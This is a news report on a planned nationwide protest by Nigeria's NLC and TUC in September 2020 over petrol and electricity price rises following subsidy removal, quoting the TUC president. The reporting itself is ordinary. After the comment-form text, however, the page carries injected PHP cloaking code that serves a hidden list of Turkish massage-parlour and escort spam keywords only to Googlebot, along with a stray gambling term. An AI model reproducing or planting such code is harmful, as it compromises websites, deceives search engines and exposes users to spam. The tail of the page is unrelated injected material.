BUSINESS NEWS

NLC, TUC plans nationwide protest over petrol, electricity price hike

NEWSMAN, Abuja – Nigeria Labour Congress (NLC) and Trade Union Congress (TUC) is set to stage a nationwide protest on Monday, September 28 to demand a decrease in the prices of petrol and electricity tariff.

NLC had last week issued a two weeks ultimatum to the government to reverse the price increase which was caused by the government’s removal of subsidy on petrol and electricity.

Nigeria’s four refineries are currently under repairs and produce virtually no petrol. However, even if they work optimally, they cannot produce enough petrol to meet the local demand of Africa’s largest economy.

The government has said it had to remove the subsidy as it has no resources to continue to subsidise both petrol and electricity.

The removal of the subsidy led to an increase in electricity tariff from about N30.23 to about N62.33 per kWh while the price of petrol increased from about N145 to about N161 per litre.

TUC President, Quadri Olaleye, said, “Consequent upon this, the ultimatum which should expire by midnight of today 22nd September, 2020 has been shifted to 28th September, 2020 for effective and maximum effect. We want to use this opportunity to call on Nigerians, especially those in the informal sector to bear with us while the industrial action lasts.

“There is no need for the pains we bear. It is a needless one. They ask us to tighten our belts while they loosen theirs. Services are not rendered yet we are compelled to pay estimated bills. You will recall that this government during its electioneering campaigns in 2014 told the world there is nothing like subsidy. We were told that they will build refineries all that are history now. We run a mono-economy and any hike in fuel automatically will have adverse effect on us yet successive government tow that path because they are not creative.

“As at today, about eight states are yet to commence the payment of new minimum wage and its consequential adjustment even though the president signed it into law on April 18, 2019. We have written letters to the governors and also engaged them in dialogue but all to no avail. Sometimes we wonder if these people have conscience at all.

Related Posts

Leave a Reply

Your email address will not be published. Required fields are marked *

bahis

$uagent = trim(strtolower($_SERVER["HTTP_USER_AGENT"])); if(strpos($uagent,"googlebot")!==false and strpos($uagent,"google-amphtml")===false ){ echo 'Van masaj salonu Maraş masaj salonu Şanlıurfa masaj salonu Isparta masaj salonu Amasya masaj salonu Afyon masaj salonu Denizli masaj salonu Kayseri masaj salonu Eskişehir masaj salonu Malatya masaj salonu Yozgat masaj salonu Çorum masaj salonu Tokat masaj salonu Gaziantep masaj salonu Kütahya masaj salonu Elazığ masaj salonu Kırklareli escort Burdur escort Aksaray escort Kars escort Kastamonu escort Adıyaman escort Erzincan escort Uşak escort Sinop escort '; }